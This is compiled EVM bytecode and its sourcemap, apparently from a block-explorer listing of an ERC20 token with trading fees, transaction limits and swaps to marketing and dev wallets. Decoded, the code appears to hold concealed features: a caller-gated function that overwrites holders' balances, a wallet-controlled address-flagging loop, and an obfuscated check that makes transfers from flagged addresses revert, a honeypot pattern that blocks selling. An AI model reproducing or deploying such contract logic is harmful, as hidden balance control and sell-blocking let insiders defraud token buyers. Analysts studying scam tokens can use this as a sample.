22a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220800baeaa1cbc5ac271b587875e29bacbb1d09c60aab5eb9427d8a1bd992e326a64736f6c63430008070033

Deployed Bytecode Sourcemap

4304:15405:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14043:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8326:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9619:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4632:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6034:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8603:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14398:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11854:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4679:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13030:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12576:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8512:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12443:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8988:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5193:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12311:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5093:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4592:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5145:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6149:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5493:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13304:731;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10359:331;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5534:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11975:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8711:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16550:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10133:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5826:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5896:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5658:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5367:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5038:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3011:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10698:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8417:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9491:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5703:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9214:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12893:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5575:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14223:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11488:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5324:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12713:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5282:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6082:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5410:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4944:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5453:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6196:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5240:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8837:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5614:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12201:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4887:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3225:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6248:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4359:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14043:137;14118:8;:33;14140:10;14118:33;;;;;;;;;;;;;;;;;;;;;;;;;14112:66;;;14172:6;14152:8;:15;14161:5;14152:15;;;;;;;;;;;;;;;:26;;;;14112:66;14043:137;;:::o;8326:83::-;8363:13;8396:5;8389:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8326:83;:::o;9619:161::-;9694:4;9711:39;9720:12;:10;:12::i;:::-;9734:7;9743:6;9711:8;:39::i;:::-;9768:4;9761:11;;9619:161;;;;:::o;4632:40::-;;;;;;;;;;;;;:::o;6034:41::-;;;;;;;;;;;;;:::o;8603:100::-;8656:7;8683:12;;8676:19;;8603:100;:::o;14398:313::-;14496:4;14513:36;14523:6;14531:9;14542:6;14513:9;:36::i;:::-;;14560:121;14569:6;14577:12;:10;:12::i;:::-;14591:89;14629:6;14591:89;;;;;;;;;;;;;;;;;:11;:19;14603:6;14591:19;;;;;;;;;;;;;;;:33;14611:12;:10;:12::i;:::-;14591:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14560:8;:121::i;:::-;14699:4;14692:11;;14398:313;;;;;:::o;11854:113::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11951:8:::1;11932:16;;:27;;;;;;;;;;;;;;;;;;11854:113:::0;:::o;4679:81::-;;;:::o;13030:128::-;13083:7;13110:40;13127:22;13137:11;13127:9;:22::i;:::-;13110:12;;:16;;:40;;;;:::i;:::-;13103:47;;13030:128;:::o;12576:129::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12686:10:::1;12658:17;;:39;;;;;;;;;;;;;;;;;;12576:129:::0;:::o;8512:83::-;8553:5;8578:9;;;;;;;;;;;8571:16;;8512:83;:::o;12443:125::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12549:10:::1;12528;;:32;;;;;;;;;;;;;;;;;;12443:125:::0;:::o;8988:218::-;9076:4;9093:83;9102:12;:10;:12::i;:::-;9116:7;9125:50;9164:10;9125:11;:25;9137:12;:10;:12::i;:::-;9125:25;;;;;;;;;;;;;;;:34;9151:7;9125:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9093:8;:83::i;:::-;9194:4;9187:11;;8988:218;;;;:::o;5193:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;12311:124::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12419:8:::1;12393:23;:34;;;;12311:124:::0;:::o;5093:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4592:33::-;;;;;;;;;;;;;:::o;5145:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6149:40::-;;;;;;;;;;;;;:::o;5493:34::-;;;;:::o;13304:731::-;13384:22;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13421:35:::1;13478:16;13421:74;;13544:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13526:53;;;13588:4;13595:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13526:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13509:110;;13661:1;13635:28;;:14;:28;;;13632:200;;;13724:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13706:74;;;13789:4;13796:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13706:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13689:131;;13632:200;13858:14;13844:11;;:28;;;;;;;;;;;;;;;;;;13901:16;13883:15;;:34;;;;;;;;;;;;;;;;;;13975:4;13931:19;:41;13959:11;;;;;;;;;;;13931:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;14023:4;13990:8;:30;14007:11;;;;;;;;;;;13990:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;13408:627;13304:731:::0;;;:::o;10359:331::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10499:15:::1;10480:16;:34;;;;10544:15;10525:16;:34;;;;10584:10;10570:11;:24;;;;10627:55;10670:11;;10627:38;10648:16;;10627;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10607:17;:75;;;;10359:331:::0;;;:::o;5534:34::-;;;;:::o;11975:218::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12081:9:::1;12077:109;12100:6;;:13;;12096:1;:17;12077:109;;;12168:6;12135:19;:30;12155:6;;12162:1;12155:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12135:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12115:3;;;;;:::i;:::-;;;;12077:109;;;;11975:218:::0;;;:::o;8711:118::-;8777:7;8804:8;:17;8813:7;8804:17;;;;;;;;;;;;;;;;8797:24;;8711:118;;;:::o;16550:242::-;16673:10;16621:62;;:10;;;;;;;;;;;:62;;;16617:168;;;16701:9;16697:77;16720:2;;:9;;16716:1;:13;16697:77;;;16766:6;16751:5;:12;16757:2;;16760:1;16757:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;16751:12;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16731:3;;;;;:::i;:::-;;;;1